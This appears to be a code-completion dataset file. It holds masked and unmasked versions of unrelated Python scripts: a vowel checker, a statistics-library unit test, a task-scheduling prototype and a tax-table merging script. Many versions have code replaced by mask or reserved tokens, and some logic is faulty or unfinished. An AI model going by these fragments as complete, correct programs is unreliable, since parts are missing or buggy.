{ "blob_id": "0fb8a9b1073446a62b46a802da69b66e78533c2a", "index": 7293, "step-1": "<mask token>\n", "step-2": "<mask token>\nif s in sheik:\n print('Vowel')\nelif s != sheik:\n print('Consonant')\nelse:\n print('invalid')\n", "step-3": "sheik = ['a', 'e', 'i', 'o', 'u', 'A', 'E', 'I', 'O', 'U']\ns = raw_input()\nif s in sheik:\n print('Vowel')\nelif s != sheik:\n print('Consonant')\nelse:\n print('invalid')\n", "step-4": "sheik=['a','e','i','o','u','A','E','I','O','U']\ns=raw_input()\nif(s in sheik):\n\tprint('Vowel')\nelif(s!=sheik):\n\tprint('Consonant')\nelse:\n\tprint('invalid')\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
from stats_arrays.distributions import GeneralizedExtremeValueUncertainty as GEVU from stats_arrays.errors import InvalidParamsError from ..base import UncertaintyTestCase import numpy as np class GeneralizedExtremeValueUncertaintyTestCase(UncertaintyTestCase): def test_random_variables(self): params = self.make_params_array() params['loc'] = 2 params['scale'] = 5 # Formula for median (loc - scale * ln ln 2) expected_median = 2 - 5 * np.log(np.log(2)) results = GEVU.random_variables(params, 10000) found_median = np.median(results) self.assertEqual(results.shape, (1, 10000)) self.assertTrue(0.95 * expected_median < found_median) self.assertTrue(found_median < 1.05 * expected_median) def test_loc_validation(self): params = self.make_params_array() params['loc'] = np.NaN self.assertRaises( InvalidParamsError, GEVU.validate, params ) def test_scale_validation(self): params = self.make_params_array() params['scale'] = -1 self.assertRaises( InvalidParamsError, GEVU.validate, params ) def test_shape_validation(self): params = self.make_params_array() params['shape'] = 1 self.assertRaises( InvalidParamsError, GEVU.validate, params ) def make_params_array(self, length=1): assert isinstance(length, int) params = np.zeros((length,), dtype=[ ('input', 'u4'), ('output', 'u4'), ('loc', 'f4'), ('negative', 'b1'), ('scale', 'f4'), ('shape', 'f4'), ('minimum', 'f4'), ('maximum', 'f4') ]) params['minimum'] = params['maximum'] = np.NaN params['loc'] = params['scale'] = 1 return params
normal
{ "blob_id": "997c1c86848b59a3986a579d5b1b50313fdfdf44", "index": 8161, "step-1": "<mask token>\n\n\nclass GeneralizedExtremeValueUncertaintyTestCase(UncertaintyTestCase):\n\n def test_random_variables(self):\n params = self.make_params_array()\n params['loc'] = 2\n params['scale'] = 5\n expected_median = 2 - 5 * np.log(np.log(2))\n results = GEVU.random_variables(params, 10000)\n found_median = np.median(results)\n self.assertEqual(results.shape, (1, 10000))\n self.assertTrue(0.95 * expected_median < found_median)\n self.assertTrue(found_median < 1.05 * expected_median)\n <mask token>\n\n def test_scale_validation(self):\n params = self.make_params_array()\n params['scale'] = -1\n self.assertRaises(InvalidParamsError, GEVU.validate, params)\n\n def test_shape_validation(self):\n params = self.make_params_array()\n params['shape'] = 1\n self.assertRaises(InvalidParamsError, GEVU.validate, params)\n <mask token>\n", "step-2": "<mask token>\n\n\nclass GeneralizedExtremeValueUncertaintyTestCase(UncertaintyTestCase):\n\n def test_random_variables(self):\n params = self.make_params_array()\n params['loc'] = 2\n params['scale'] = 5\n expected_median = 2 - 5 * np.log(np.log(2))\n results = GEVU.random_variables(params, 10000)\n found_median = np.median(results)\n self.assertEqual(results.shape, (1, 10000))\n self.assertTrue(0.95 * expected_median < found_median)\n self.assertTrue(found_median < 1.05 * expected_median)\n\n def test_loc_validation(self):\n params = self.make_params_array()\n params['loc'] = np.NaN\n self.assertRaises(InvalidParamsError, GEVU.validate, params)\n\n def test_scale_validation(self):\n params = self.make_params_array()\n params['scale'] = -1\n self.assertRaises(InvalidParamsError, GEVU.validate, params)\n\n def test_shape_validation(self):\n params = self.make_params_array()\n params['shape'] = 1\n self.assertRaises(InvalidParamsError, GEVU.validate, params)\n <mask token>\n", "step-3": "<mask token>\n\n\nclass GeneralizedExtremeValueUncertaintyTestCase(UncertaintyTestCase):\n\n def test_random_variables(self):\n params = self.make_params_array()\n params['loc'] = 2\n params['scale'] = 5\n expected_median = 2 - 5 * np.log(np.log(2))\n results = GEVU.random_variables(params, 10000)\n found_median = np.median(results)\n self.assertEqual(results.shape, (1, 10000))\n self.assertTrue(0.95 * expected_median < found_median)\n self.assertTrue(found_median < 1.05 * expected_median)\n\n def test_loc_validation(self):\n params = self.make_params_array()\n params['loc'] = np.NaN\n self.assertRaises(InvalidParamsError, GEVU.validate, params)\n\n def test_scale_validation(self):\n params = self.make_params_array()\n params['scale'] = -1\n self.assertRaises(InvalidParamsError, GEVU.validate, params)\n\n def test_shape_validation(self):\n params = self.make_params_array()\n params['shape'] = 1\n self.assertRaises(InvalidParamsError, GEVU.validate, params)\n\n def make_params_array(self, length=1):\n assert isinstance(length, int)\n params = np.zeros((length,), dtype=[('input', 'u4'), ('output',\n 'u4'), ('loc', 'f4'), ('negative', 'b1'), ('scale', 'f4'), (\n 'shape', 'f4'), ('minimum', 'f4'), ('maximum', 'f4')])\n params['minimum'] = params['maximum'] = np.NaN\n params['loc'] = params['scale'] = 1\n return params\n", "step-4": "from stats_arrays.distributions import GeneralizedExtremeValueUncertainty as GEVU\nfrom stats_arrays.errors import InvalidParamsError\nfrom ..base import UncertaintyTestCase\nimport numpy as np\n\n\nclass GeneralizedExtremeValueUncertaintyTestCase(UncertaintyTestCase):\n\n def test_random_variables(self):\n params = self.make_params_array()\n params['loc'] = 2\n params['scale'] = 5\n expected_median = 2 - 5 * np.log(np.log(2))\n results = GEVU.random_variables(params, 10000)\n found_median = np.median(results)\n self.assertEqual(results.shape, (1, 10000))\n self.assertTrue(0.95 * expected_median < found_median)\n self.assertTrue(found_median < 1.05 * expected_median)\n\n def test_loc_validation(self):\n params = self.make_params_array()\n params['loc'] = np.NaN\n self.assertRaises(InvalidParamsError, GEVU.validate, params)\n\n def test_scale_validation(self):\n params = self.make_params_array()\n params['scale'] = -1\n self.assertRaises(InvalidParamsError, GEVU.validate, params)\n\n def test_shape_validation(self):\n params = self.make_params_array()\n params['shape'] = 1\n self.assertRaises(InvalidParamsError, GEVU.validate, params)\n\n def make_params_array(self, length=1):\n assert isinstance(length, int)\n params = np.zeros((length,), dtype=[('input', 'u4'), ('output',\n 'u4'), ('loc', 'f4'), ('negative', 'b1'), ('scale', 'f4'), (\n 'shape', 'f4'), ('minimum', 'f4'), ('maximum', 'f4')])\n params['minimum'] = params['maximum'] = np.NaN\n params['loc'] = params['scale'] = 1\n return params\n", "step-5": "from stats_arrays.distributions import GeneralizedExtremeValueUncertainty as GEVU\nfrom stats_arrays.errors import InvalidParamsError\nfrom ..base import UncertaintyTestCase\nimport numpy as np\n\n\nclass GeneralizedExtremeValueUncertaintyTestCase(UncertaintyTestCase):\n\n def test_random_variables(self):\n params = self.make_params_array()\n params['loc'] = 2\n params['scale'] = 5\n # Formula for median (loc - scale * ln ln 2)\n expected_median = 2 - 5 * np.log(np.log(2))\n results = GEVU.random_variables(params, 10000)\n found_median = np.median(results)\n self.assertEqual(results.shape, (1, 10000))\n self.assertTrue(0.95 * expected_median < found_median)\n self.assertTrue(found_median < 1.05 * expected_median)\n\n def test_loc_validation(self):\n params = self.make_params_array()\n params['loc'] = np.NaN\n self.assertRaises(\n InvalidParamsError,\n GEVU.validate,\n params\n )\n\n def test_scale_validation(self):\n params = self.make_params_array()\n params['scale'] = -1\n self.assertRaises(\n InvalidParamsError,\n GEVU.validate,\n params\n )\n\n def test_shape_validation(self):\n params = self.make_params_array()\n params['shape'] = 1\n self.assertRaises(\n InvalidParamsError,\n GEVU.validate,\n params\n )\n\n def make_params_array(self, length=1):\n assert isinstance(length, int)\n params = np.zeros((length,), dtype=[\n ('input', 'u4'),\n ('output', 'u4'),\n ('loc', 'f4'),\n ('negative', 'b1'),\n ('scale', 'f4'),\n ('shape', 'f4'),\n ('minimum', 'f4'),\n ('maximum', 'f4')\n ])\n params['minimum'] = params['maximum'] = np.NaN\n params['loc'] = params['scale'] = 1\n return params\n", "step-ids": [ 4, 5, 6, 7, 8 ] }
[ 4, 5, 6, 7, 8 ]
#!/usr/bin/env python3 import datetime, random class State(object): def __init__(self, name): self.name = name def __str__(self): return self.name class State_New(State): def __init__(self): super(State_New, self).__init__("New") class State_Underway(State): def __init__(self): super(State_Underway, self).__init__("Underway") class State_Paused(State): def __init__(self): super(State_Paused, self).__init__("Paused") class State_Completed(State): def __init__(self): super(State_Completed, self).__init__("Completed") class TaskMan(object): def __init__(self): self.tasks = [] class Resource(object): def __init__(self, name): self.name = name # the available_count is how many tasks this resource is available for. self.available_count = 0 # The assigned count is how many times this resource has been used. # For sorting, sort based on available+assigned, unless there are # multiple resources at the same value self.assigned_count = 0 def __lt__(self, other): return self.available_count < other.available_count def __cmp__(self, other): return cmp(self.available_count, other.available_count) def __str__(self): return "Name: %s, weight: %s" % (self.name, self.available_count) class ResourceGroup(object): def __init__(self, *resources): self.resources = set(resources) def __str__(self): return ", ".join([x.name for x in self.resources]) #return str(self.resources) class ResourceManager(object): def __init__(self): self.resources = set() def add(self, r): self.resources.add(r) def __str__(self): r = [] for res in self.resources: r.append(str(res)) return "\n".join(r) class Task(object): s_new = State_New() s_underway = State_Underway() s_paused = State_Paused() s_completed = State_Completed() def __init__(self, name, duration=4, numworkers=1, resource_group=None): self.work_units = [] # work units applied so far self.name = name self.predecessors = [] self.successors = [] self.state = self.s_new self.resource_group = resource_group self.duration = duration self.numworkers = numworkers self.start_offset = 0 # hard assigned resources are those designated by the user, and are not # subject to change by the program. self.hard_assigned_resources = [] # auto_assigned resources are those designated by the program and may be # changed at any time until the task has begun. Once the task has begun, # the resource becomes hard_assigned and must be changed manually if it # needs to be changed. self.auto_assigned_resources = [] # A task may be waiting to start, underway, paused or completed. # Each state change could be accompanied by a comment. If a task is # paused because it is waiting for either another resource, the # completion of another task, or some 3rd party action, that should be # noted in a comment. # def assign(self): # self.resource_group.sort() # for x in range(self.numworkers): # self.auto_assigned_resources.append(self.resource_group.resources[x]) def avail(self, time, resource_group): """ Build a set of resources who are available for a given time. It might make more sense to work based on a given restricted resource set. """ a = set() for r in self.resource_group.resources: pass def __str__(self): r = [] #r.append("Task: %s" % self.name) #r.append(" State: %s" % self.state) #r.append(" Hard Resources: %s" % str(self.hard_assigned_resources)) #r.append(" Auto Resources: %s" % str(self.auto_assigned_resources)) #r.append(" Resource Group: %s" % str(self.resource_group)) if self.auto_assigned_resources: r.append("%s%s %s" % (self.start_offset*" ", str("-"*self.duration), str(self.auto_assigned_resources))) else: r.append("%s%s %s" % (self.start_offset*" ", str("-"*self.duration), str(self.resource_group))) #str(datetime.timedelta(minutes=self.duration*15))) return "\n".join(r) def flatten(tasks): # Because resources may be shared across multiple projects, when flattening # you need to take that into account. # I think actually that flattening a set of projects simultaneously would # probably be a good thing. This would allow us to maximize the efficiency # of resource allocation. # This won't always be possible, some people will have outside committments # that cannot be shifted, and this needs to be taken into account when # assigning them. current_time = 0 running = True while running: needs_assignment = False for t in tasks: avail_resources = t.avail(current_time, t.resource_group) if not needs_assignment: running = False if __name__ == '__main__': rm = ResourceManager() a = Resource("A") b = Resource("B") c = Resource("C") d = Resource("D") rm.add(a) rm.add(b) rm.add(c) rm.add(d) # numtasks = int(random.random()*20) numtasks = 20 tasks = [] for x in range(numtasks): fg = [a,b,c,d] random.shuffle(fg) #print("Fullgroup: %s" % ", ".join([str(x) for x in fg])) group = fg[:int(random.random()*3)+1] duration = int(random.random()*32)+1 #print("Group: %s" % ", ".join([str(x) for x in group])) t = Task("Prepare Report",duration=duration, resource_group = ResourceGroup(*group)) tasks.append(t) for t in tasks: print(str(t)) # ------------------- # 1. Create a list of resources # 2. Create a list of tasks # 3. Create a resource group for each set of tasks # 4. Auto assign resources to tasks and level the tasks # So, first, go through all the tasks and weight each resource with how many # times they appear as available for t in tasks: for r in t.resource_group.resources: r.available_count += 1 # ------------------- # As we lay out tasks, we are at a "current time" point. Once all resources # are assigned for the current time point, we find the next nearest time # point when a resource becomes free - at the end of the shortest next task. # Then we begin looking at assignments again. # # So we start at CT=0, and go through each unassigned task. # When we get to an unassigned task, see if any of the resources assigned to # it are available at this time. # If so, take the set of available resources, sort in inverse # weight order, and choose the first. # # After every assignment, add one to the weight of the resource. The idea is # to bias the resource against being assigned again, until other less # assigned resources catch up. The only thing I would be afraid of would be # a resource who is available across many tasks not getting assigned to any # because his score is too high. Maybe it would be best to keep two tallys - # the number of available, and the number of assignments, and when sorting # in preference order, order first by (avail+assigned), and then within a # given group, order by assigned. This way, if someone has 7 availability # slots and 0 assigned slots, they will get chosen before someone with 5 # availability slots and 2 assigned slots. flatten(tasks) print(str(rm)) # If someone is working on something and they get blocked waiting for # something (another task or an outside supplier) then the task needs to be # marked as "blocked/paused" and the assigned tasks shuffled accordingly. # # So the idea is that on your smartphone, you can always bring up a "What do # I do now" display, which is sensitive to task priorities and stalls. # Another thing I'd really like to try to take into account as much as # possible is the fact that switching mental contexts between projects is an # uncomfortable and time consuming process, so we'd want to minimize that # as much as possible. Probably something like, try to switch projects no # more often than once every 2 hours (8 work blocks).
normal
{ "blob_id": "e40b34f0ee51cc14615c6225a7676929e6d2876a", "index": 2975, "step-1": "<mask token>\n\n\nclass State_Underway(State):\n\n def __init__(self):\n super(State_Underway, self).__init__('Underway')\n\n\nclass State_Paused(State):\n\n def __init__(self):\n super(State_Paused, self).__init__('Paused')\n\n\nclass State_Completed(State):\n\n def __init__(self):\n super(State_Completed, self).__init__('Completed')\n\n\nclass TaskMan(object):\n\n def __init__(self):\n self.tasks = []\n\n\nclass Resource(object):\n\n def __init__(self, name):\n self.name = name\n self.available_count = 0\n self.assigned_count = 0\n\n def __lt__(self, other):\n return self.available_count < other.available_count\n\n def __cmp__(self, other):\n return cmp(self.available_count, other.available_count)\n\n def __str__(self):\n return 'Name: %s, weight: %s' % (self.name, self.available_count)\n\n\nclass ResourceGroup(object):\n\n def __init__(self, *resources):\n self.resources = set(resources)\n\n def __str__(self):\n return ', '.join([x.name for x in self.resources])\n\n\nclass ResourceManager(object):\n\n def __init__(self):\n self.resources = set()\n\n def add(self, r):\n self.resources.add(r)\n\n def __str__(self):\n r = []\n for res in self.resources:\n r.append(str(res))\n return '\\n'.join(r)\n\n\nclass Task(object):\n s_new = State_New()\n s_underway = State_Underway()\n s_paused = State_Paused()\n s_completed = State_Completed()\n\n def __init__(self, name, duration=4, numworkers=1, resource_group=None):\n self.work_units = []\n self.name = name\n self.predecessors = []\n self.successors = []\n self.state = self.s_new\n self.resource_group = resource_group\n self.duration = duration\n self.numworkers = numworkers\n self.start_offset = 0\n self.hard_assigned_resources = []\n self.auto_assigned_resources = []\n\n def avail(self, time, resource_group):\n \"\"\"\n Build a set of resources who are available for a given time. It might\n make more sense to work based on a given restricted resource set.\n \"\"\"\n a = set()\n for r in self.resource_group.resources:\n pass\n\n def __str__(self):\n r = []\n if self.auto_assigned_resources:\n r.append('%s%s %s' % (self.start_offset * ' ', str('-' * self.\n duration), str(self.auto_assigned_resources)))\n else:\n r.append('%s%s %s' % (self.start_offset * ' ', str('-' * self.\n duration), str(self.resource_group)))\n return '\\n'.join(r)\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass State_New(State):\n <mask token>\n\n\nclass State_Underway(State):\n\n def __init__(self):\n super(State_Underway, self).__init__('Underway')\n\n\nclass State_Paused(State):\n\n def __init__(self):\n super(State_Paused, self).__init__('Paused')\n\n\nclass State_Completed(State):\n\n def __init__(self):\n super(State_Completed, self).__init__('Completed')\n\n\nclass TaskMan(object):\n\n def __init__(self):\n self.tasks = []\n\n\nclass Resource(object):\n\n def __init__(self, name):\n self.name = name\n self.available_count = 0\n self.assigned_count = 0\n\n def __lt__(self, other):\n return self.available_count < other.available_count\n\n def __cmp__(self, other):\n return cmp(self.available_count, other.available_count)\n\n def __str__(self):\n return 'Name: %s, weight: %s' % (self.name, self.available_count)\n\n\nclass ResourceGroup(object):\n\n def __init__(self, *resources):\n self.resources = set(resources)\n\n def __str__(self):\n return ', '.join([x.name for x in self.resources])\n\n\nclass ResourceManager(object):\n\n def __init__(self):\n self.resources = set()\n\n def add(self, r):\n self.resources.add(r)\n\n def __str__(self):\n r = []\n for res in self.resources:\n r.append(str(res))\n return '\\n'.join(r)\n\n\nclass Task(object):\n s_new = State_New()\n s_underway = State_Underway()\n s_paused = State_Paused()\n s_completed = State_Completed()\n\n def __init__(self, name, duration=4, numworkers=1, resource_group=None):\n self.work_units = []\n self.name = name\n self.predecessors = []\n self.successors = []\n self.state = self.s_new\n self.resource_group = resource_group\n self.duration = duration\n self.numworkers = numworkers\n self.start_offset = 0\n self.hard_assigned_resources = []\n self.auto_assigned_resources = []\n\n def avail(self, time, resource_group):\n \"\"\"\n Build a set of resources who are available for a given time. It might\n make more sense to work based on a given restricted resource set.\n \"\"\"\n a = set()\n for r in self.resource_group.resources:\n pass\n\n def __str__(self):\n r = []\n if self.auto_assigned_resources:\n r.append('%s%s %s' % (self.start_offset * ' ', str('-' * self.\n duration), str(self.auto_assigned_resources)))\n else:\n r.append('%s%s %s' % (self.start_offset * ' ', str('-' * self.\n duration), str(self.resource_group)))\n return '\\n'.join(r)\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\nclass State(object):\n\n def __init__(self, name):\n self.name = name\n\n def __str__(self):\n return self.name\n\n\nclass State_New(State):\n\n def __init__(self):\n super(State_New, self).__init__('New')\n\n\nclass State_Underway(State):\n\n def __init__(self):\n super(State_Underway, self).__init__('Underway')\n\n\nclass State_Paused(State):\n\n def __init__(self):\n super(State_Paused, self).__init__('Paused')\n\n\nclass State_Completed(State):\n\n def __init__(self):\n super(State_Completed, self).__init__('Completed')\n\n\nclass TaskMan(object):\n\n def __init__(self):\n self.tasks = []\n\n\nclass Resource(object):\n\n def __init__(self, name):\n self.name = name\n self.available_count = 0\n self.assigned_count = 0\n\n def __lt__(self, other):\n return self.available_count < other.available_count\n\n def __cmp__(self, other):\n return cmp(self.available_count, other.available_count)\n\n def __str__(self):\n return 'Name: %s, weight: %s' % (self.name, self.available_count)\n\n\nclass ResourceGroup(object):\n\n def __init__(self, *resources):\n self.resources = set(resources)\n\n def __str__(self):\n return ', '.join([x.name for x in self.resources])\n\n\nclass ResourceManager(object):\n\n def __init__(self):\n self.resources = set()\n\n def add(self, r):\n self.resources.add(r)\n\n def __str__(self):\n r = []\n for res in self.resources:\n r.append(str(res))\n return '\\n'.join(r)\n\n\nclass Task(object):\n s_new = State_New()\n s_underway = State_Underway()\n s_paused = State_Paused()\n s_completed = State_Completed()\n\n def __init__(self, name, duration=4, numworkers=1, resource_group=None):\n self.work_units = []\n self.name = name\n self.predecessors = []\n self.successors = []\n self.state = self.s_new\n self.resource_group = resource_group\n self.duration = duration\n self.numworkers = numworkers\n self.start_offset = 0\n self.hard_assigned_resources = []\n self.auto_assigned_resources = []\n\n def avail(self, time, resource_group):\n \"\"\"\n Build a set of resources who are available for a given time. It might\n make more sense to work based on a given restricted resource set.\n \"\"\"\n a = set()\n for r in self.resource_group.resources:\n pass\n\n def __str__(self):\n r = []\n if self.auto_assigned_resources:\n r.append('%s%s %s' % (self.start_offset * ' ', str('-' * self.\n duration), str(self.auto_assigned_resources)))\n else:\n r.append('%s%s %s' % (self.start_offset * ' ', str('-' * self.\n duration), str(self.resource_group)))\n return '\\n'.join(r)\n\n\n<mask token>\n", "step-4": "<mask token>\n\n\nclass State(object):\n\n def __init__(self, name):\n self.name = name\n\n def __str__(self):\n return self.name\n\n\nclass State_New(State):\n\n def __init__(self):\n super(State_New, self).__init__('New')\n\n\nclass State_Underway(State):\n\n def __init__(self):\n super(State_Underway, self).__init__('Underway')\n\n\nclass State_Paused(State):\n\n def __init__(self):\n super(State_Paused, self).__init__('Paused')\n\n\nclass State_Completed(State):\n\n def __init__(self):\n super(State_Completed, self).__init__('Completed')\n\n\nclass TaskMan(object):\n\n def __init__(self):\n self.tasks = []\n\n\nclass Resource(object):\n\n def __init__(self, name):\n self.name = name\n self.available_count = 0\n self.assigned_count = 0\n\n def __lt__(self, other):\n return self.available_count < other.available_count\n\n def __cmp__(self, other):\n return cmp(self.available_count, other.available_count)\n\n def __str__(self):\n return 'Name: %s, weight: %s' % (self.name, self.available_count)\n\n\nclass ResourceGroup(object):\n\n def __init__(self, *resources):\n self.resources = set(resources)\n\n def __str__(self):\n return ', '.join([x.name for x in self.resources])\n\n\nclass ResourceManager(object):\n\n def __init__(self):\n self.resources = set()\n\n def add(self, r):\n self.resources.add(r)\n\n def __str__(self):\n r = []\n for res in self.resources:\n r.append(str(res))\n return '\\n'.join(r)\n\n\nclass Task(object):\n s_new = State_New()\n s_underway = State_Underway()\n s_paused = State_Paused()\n s_completed = State_Completed()\n\n def __init__(self, name, duration=4, numworkers=1, resource_group=None):\n self.work_units = []\n self.name = name\n self.predecessors = []\n self.successors = []\n self.state = self.s_new\n self.resource_group = resource_group\n self.duration = duration\n self.numworkers = numworkers\n self.start_offset = 0\n self.hard_assigned_resources = []\n self.auto_assigned_resources = []\n\n def avail(self, time, resource_group):\n \"\"\"\n Build a set of resources who are available for a given time. It might\n make more sense to work based on a given restricted resource set.\n \"\"\"\n a = set()\n for r in self.resource_group.resources:\n pass\n\n def __str__(self):\n r = []\n if self.auto_assigned_resources:\n r.append('%s%s %s' % (self.start_offset * ' ', str('-' * self.\n duration), str(self.auto_assigned_resources)))\n else:\n r.append('%s%s %s' % (self.start_offset * ' ', str('-' * self.\n duration), str(self.resource_group)))\n return '\\n'.join(r)\n\n\ndef flatten(tasks):\n current_time = 0\n running = True\n while running:\n needs_assignment = False\n for t in tasks:\n avail_resources = t.avail(current_time, t.resource_group)\n if not needs_assignment:\n running = False\n\n\n<mask token>\n", "step-5": "#!/usr/bin/env python3\n\nimport datetime, random\n\nclass State(object):\n def __init__(self, name):\n self.name = name\n\n def __str__(self):\n return self.name\n\nclass State_New(State):\n def __init__(self):\n super(State_New, self).__init__(\"New\")\n\nclass State_Underway(State):\n def __init__(self):\n super(State_Underway, self).__init__(\"Underway\")\n\nclass State_Paused(State):\n def __init__(self):\n super(State_Paused, self).__init__(\"Paused\")\n\nclass State_Completed(State):\n def __init__(self):\n super(State_Completed, self).__init__(\"Completed\")\n\nclass TaskMan(object):\n def __init__(self):\n self.tasks = []\n\nclass Resource(object):\n def __init__(self, name):\n self.name = name\n\n # the available_count is how many tasks this resource is available for.\n self.available_count = 0\n\n # The assigned count is how many times this resource has been used.\n # For sorting, sort based on available+assigned, unless there are\n # multiple resources at the same value\n self.assigned_count = 0\n\n def __lt__(self, other):\n return self.available_count < other.available_count\n\n def __cmp__(self, other):\n return cmp(self.available_count, other.available_count)\n\n def __str__(self):\n return \"Name: %s, weight: %s\" % (self.name, self.available_count)\n\nclass ResourceGroup(object):\n def __init__(self, *resources):\n self.resources = set(resources)\n\n def __str__(self):\n return \", \".join([x.name for x in self.resources])\n #return str(self.resources)\n\n\nclass ResourceManager(object):\n def __init__(self):\n self.resources = set()\n\n def add(self, r):\n self.resources.add(r)\n\n \n\n def __str__(self):\n r = []\n for res in self.resources:\n r.append(str(res))\n return \"\\n\".join(r)\n\nclass Task(object):\n s_new = State_New()\n s_underway = State_Underway()\n s_paused = State_Paused()\n s_completed = State_Completed()\n\n def __init__(self, name, duration=4, numworkers=1, resource_group=None):\n self.work_units = []\t# work units applied so far\n self.name = name\n self.predecessors = []\n self.successors = []\n self.state = self.s_new\n self.resource_group = resource_group\n self.duration = duration\n self.numworkers = numworkers\n self.start_offset = 0\n\n # hard assigned resources are those designated by the user, and are not\n # subject to change by the program.\n self.hard_assigned_resources = []\n\n # auto_assigned resources are those designated by the program and may be\n # changed at any time until the task has begun. Once the task has begun,\n # the resource becomes hard_assigned and must be changed manually if it\n # needs to be changed.\n self.auto_assigned_resources = []\n\n # A task may be waiting to start, underway, paused or completed.\n # Each state change could be accompanied by a comment. If a task is\n # paused because it is waiting for either another resource, the\n # completion of another task, or some 3rd party action, that should be\n # noted in a comment.\n\n # def assign(self):\n # self.resource_group.sort()\n # for x in range(self.numworkers):\n # self.auto_assigned_resources.append(self.resource_group.resources[x])\n\n def avail(self, time, resource_group):\n \"\"\"\n Build a set of resources who are available for a given time. It might\n make more sense to work based on a given restricted resource set.\n \"\"\"\n a = set()\n for r in self.resource_group.resources:\n pass\n \n def __str__(self):\n r = []\n #r.append(\"Task: %s\" % self.name)\n #r.append(\" State: %s\" % self.state)\n #r.append(\" Hard Resources: %s\" % str(self.hard_assigned_resources))\n #r.append(\" Auto Resources: %s\" % str(self.auto_assigned_resources))\n #r.append(\" Resource Group: %s\" % str(self.resource_group))\n\n if self.auto_assigned_resources:\n r.append(\"%s%s %s\" % (self.start_offset*\" \", str(\"-\"*self.duration),\n str(self.auto_assigned_resources)))\n else:\n r.append(\"%s%s %s\" % (self.start_offset*\" \", str(\"-\"*self.duration),\n str(self.resource_group)))\n #str(datetime.timedelta(minutes=self.duration*15)))\n return \"\\n\".join(r)\n\ndef flatten(tasks):\n # Because resources may be shared across multiple projects, when flattening\n # you need to take that into account.\n # I think actually that flattening a set of projects simultaneously would\n # probably be a good thing. This would allow us to maximize the efficiency\n # of resource allocation.\n # This won't always be possible, some people will have outside committments\n # that cannot be shifted, and this needs to be taken into account when\n # assigning them.\n\n current_time = 0\n running = True\n\n while running:\n needs_assignment = False\n for t in tasks:\n avail_resources = t.avail(current_time, t.resource_group)\n\n if not needs_assignment:\n running = False\n\n\nif __name__ == '__main__':\n rm = ResourceManager()\n\n a = Resource(\"A\")\n b = Resource(\"B\")\n c = Resource(\"C\")\n d = Resource(\"D\")\n\n rm.add(a)\n rm.add(b)\n rm.add(c)\n rm.add(d)\n\n# numtasks = int(random.random()*20)\n numtasks = 20\n tasks = []\n\n for x in range(numtasks):\n fg = [a,b,c,d]\n random.shuffle(fg)\n #print(\"Fullgroup: %s\" % \", \".join([str(x) for x in fg]))\n group = fg[:int(random.random()*3)+1]\n duration = int(random.random()*32)+1\n #print(\"Group: %s\" % \", \".join([str(x) for x in group]))\n t = Task(\"Prepare Report\",duration=duration,\n resource_group = ResourceGroup(*group))\n tasks.append(t)\n\n\n for t in tasks:\n print(str(t))\n\n # -------------------\n # 1. Create a list of resources\n # 2. Create a list of tasks\n # 3. Create a resource group for each set of tasks\n # 4. Auto assign resources to tasks and level the tasks\n\n # So, first, go through all the tasks and weight each resource with how many\n # times they appear as available\n\n for t in tasks:\n for r in t.resource_group.resources:\n r.available_count += 1\n\n # -------------------\n # As we lay out tasks, we are at a \"current time\" point. Once all resources\n # are assigned for the current time point, we find the next nearest time\n # point when a resource becomes free - at the end of the shortest next task.\n # Then we begin looking at assignments again.\n #\n # So we start at CT=0, and go through each unassigned task.\n # When we get to an unassigned task, see if any of the resources assigned to\n # it are available at this time.\n # If so, take the set of available resources, sort in inverse\n # weight order, and choose the first.\n #\n # After every assignment, add one to the weight of the resource. The idea is\n # to bias the resource against being assigned again, until other less\n # assigned resources catch up. The only thing I would be afraid of would be\n # a resource who is available across many tasks not getting assigned to any\n # because his score is too high. Maybe it would be best to keep two tallys -\n # the number of available, and the number of assignments, and when sorting\n # in preference order, order first by (avail+assigned), and then within a\n # given group, order by assigned. This way, if someone has 7 availability\n # slots and 0 assigned slots, they will get chosen before someone with 5\n # availability slots and 2 assigned slots.\n\n flatten(tasks)\n\n print(str(rm))\n\n # If someone is working on something and they get blocked waiting for\n # something (another task or an outside supplier) then the task needs to be\n # marked as \"blocked/paused\" and the assigned tasks shuffled accordingly.\n # \n # So the idea is that on your smartphone, you can always bring up a \"What do\n # I do now\" display, which is sensitive to task priorities and stalls.\n # Another thing I'd really like to try to take into account as much as\n # possible is the fact that switching mental contexts between projects is an\n # uncomfortable and time consuming process, so we'd want to minimize that\n # as much as possible. Probably something like, try to switch projects no\n # more often than once every 2 hours (8 work blocks).\n\n", "step-ids": [ 25, 26, 30, 31, 34 ] }
[ 25, 26, 30, 31, 34 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> for year in range(BASE_YEAR, END_YEAR + 1): filename1 = 'dist-table-all-clp-avg-' + str(year) + '.txt' df1 = pd.read_fwf(filename1) df1.drop('Unnamed: 0', axis=1, inplace=True) col_list = df1.columns[1:] + '_avg_clp_' + str(year) col_list = col_list.insert(0, 'Income_Bracket') df1.columns = col_list filename2 = 'dist-table-all-clp-total-' + str(year) + '.txt' df2 = pd.read_fwf(filename2) df2.drop('Unnamed: 0', axis=1, inplace=True) col_list = df2.columns[1:] + '_total_clp_' + str(year) col_list = col_list.insert(0, 'Income_Bracket') df2.columns = col_list a[year] = pd.merge(df1, df2, how='inner', on='Income_Bracket') filename3 = 'dist-table-all-ref-avg-' + str(year) + '.txt' df3 = pd.read_fwf(filename3) df3.drop('Unnamed: 0', axis=1, inplace=True) col_list = df3.columns[1:] + '_avg_ref_' + str(year) col_list = col_list.insert(0, 'Income_Bracket') df3.columns = col_list a[year] = pd.merge(a[year], df3, how='inner', on='Income_Bracket') filename4 = 'dist-table-all-ref-total-' + str(year) + '.txt' df4 = pd.read_fwf(filename4) df4.drop('Unnamed: 0', axis=1, inplace=True) col_list = df4.columns[1:] + '_total_ref_' + str(year) col_list = col_list.insert(0, 'Income_Bracket') df4.columns = col_list a[year] = pd.merge(a[year], df4, how='inner', on='Income_Bracket') <|reserved_special_token_0|> for year in range(BASE_YEAR + 1, END_YEAR + 1): df = pd.merge(df, a[year], how='inner', on='Income_Bracket') df.set_index('Income_Bracket', inplace=True) df.to_csv('dist-table-all-years.csv', index=True) <|reserved_special_token_0|> df.set_index('Income_Bracket', inplace=True) <|reserved_special_token_0|> plt.style.use('seaborn-whitegrid') <|reserved_special_token_0|> plt.title('Estimated Tax Collection') plt.xlabel('Year') plt.ylabel('Tax Collection in lakh Cr.') <|reserved_special_token_0|> plt.plot(years, 